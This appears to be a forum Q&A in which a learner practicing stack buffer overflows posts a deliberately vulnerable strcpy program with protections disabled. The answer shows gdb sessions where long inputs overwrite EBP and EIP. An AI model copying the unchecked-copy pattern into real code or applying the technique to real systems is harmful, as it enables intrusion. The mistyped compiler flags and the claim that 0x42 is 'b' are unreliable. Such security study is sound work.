How to exploit this buffer overflow. Where is the return address?

Question

I'm practicing doing buffer overflows and, weirdly, I can do some but not others and it is not clear to me why. Here is the example code:

Code that I need help with::

#include <stdio.h>
int main(int argc, char * argv[]) {
    char buf[256];
    if(argc == 1) {
        printf("Usage: %s input\n", argv[0]);
        exit(0);
    }
    strcpy(buf,argv[1]);
    printf("%s", buf);
}

I compile this code with gcc -z exestack -fno-no-stack-protector

Questions:

1. I understand that the general technique is to write to a buffer such that I overwrite where the next instruction register looks in memory. So my question is, where do I insert a breakpoint in this code to figure out where to overwrite? If I do disas main I get:

   0x080497b1 <+60>: add $0x10,%esp

   0x080497b4 <+63>: sub $0xc,%esp

   0x080497b7 <+66>: push $0x0

   0x080497b9 <+68>: call 0x804fd50

   0x080497be <+73>: mov 0x4(%eax),%eax

   0x080497c1 <+76>: add $0x4,%eax

   0x080497c4 <+79>: mov (%eax),%eax

   0x080497c6 <+81>: sub $0x8,%esp

   0x080497c9 <+84>: push %eax

   0x080497ca <+85>: lea -0x108(%ebp),%eax

   0x080497d0 <+91>: push %eax

   0x080497d1 <+92>: call 0x8049028

   0x080497d6 <+97>: add $0x10,%esp

   0x080497d9 <+100>: sub $0x8,%esp 0x080497dc <+103>: lea -0x108(%ebp),%eax

If I add a breakpoint at *main+97, and then run AAAAAA I get the following:

Breakpoint 1, 0x080497d6 in main ()
(gdb) info registers
eax            0xbffff1f0   -1073745424
ecx            0xbffff575   -1073744523
edx            0xbffff1f0   -1073745424
ebx            0x80da000    135110656
esp            0xbffff1e0   0xbffff1e0
ebp            0xbffff2f8   0xbffff2f8
esi            0x80da000    135110656
edi            0x80481e8    134513128
eip            0x80497d6    0x80497d6 <main+97>
eflags         0x246    [ PF ZF IF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51

Am I putting the breakpoint in the right place to help with this overflow? Right after the call to strcpy? Also, I see that ebp is at 0xbffff2f8. Does this mean that I want to overwrite the address right next to this at 0xbffff2fc to point back inside the buffer and I will be done? Because that does not appear to work: my buffer is a NOP sled and shell code.

Thanks for any help!

Answer 1

Correction.. I’ll look again but in order to overwrite EIP you’d need to input a buffer that is buf +whateverIsAboveItOnStack + EBP (4bytes) + whateverYouWantEIPtoBe . Run the program in gdb and type disass strcpy() the you’ll be able to see where the overflow happens and where your buffers are located. Hope this helps.

    (gdb) run $(python -c 'print "a" * 270')
Starting program: /home/bob/C/Disassembler_Fun/SE_Vuln/se_vuln $(python -c 'print "a" * 270')

Program received signal SIGSEGV, Segmentation fault.
0x0040068b in main (argc=<error reading variable: Cannot access memory at address 0x61616161>, 
    argv=<error reading variable: Cannot access memory at address 0x61616165>) at se_vuln.c:10
10  }
(gdb) i r
eax            0x0  0
ecx            0x61616161   1633771873
edx            0xb7fbc870   -1208235920
ebx            0x61616161   1633771873
esp            0x6161615d   0x6161615d
ebp            0x61616161   0x61616161
esi            0x2  2
edi            0xb7fbb000   -1208242176
eip            0x40068b 0x40068b <main+139>
eflags         0x10286  [ PF SF IF RF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51

If I overflow a buffer in a program with a vulnerable function that returns execution somewhere (main()) I can overwrite EIP

    #include <string.h>

void vuln(char *arg) {
    char buffer[10];
    strcpy(buffer, arg);
}  

int main( int argc, char** argv ) {
    vuln(argv[1]);
    return 0; 
}

    (gdb) run $(python -c "print ('a' * 22) + ('b' * 4)")
Starting program: /home/bob/C/Disassembler_Fun/overflow $(python -c "print ('a' * 22) + ('b' * 4)")

Program received signal SIGSEGV, Segmentation fault.
0x62626262 in ?? ()
(gdb) i r
eax            0xbffff286   -1073745274
ecx            0xbffff520   -1073744608
edx            0xbffff296   -1073745258
ebx            0x61616161   1633771873
esp            0xbffff2a0   0xbffff2a0
ebp            0x61616161   0x61616161
esi            0x2  2
edi            0xb7fbb000   -1208242176
eip            0x62626262   0x62626262
eflags         0x10282  [ SF IF RF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51
(gdb) 

Note the B's (0x42 is the hex for b) overwriting EIP. I guess this is the kind of overflow in your example can be used for a DOS attack but not necessarily code execution. I'd suggest enlarging the buffer in my example if you want to use it for tests involving storing a nop sled and shellcode in the buffer. Good luck have fun! Hope this helped.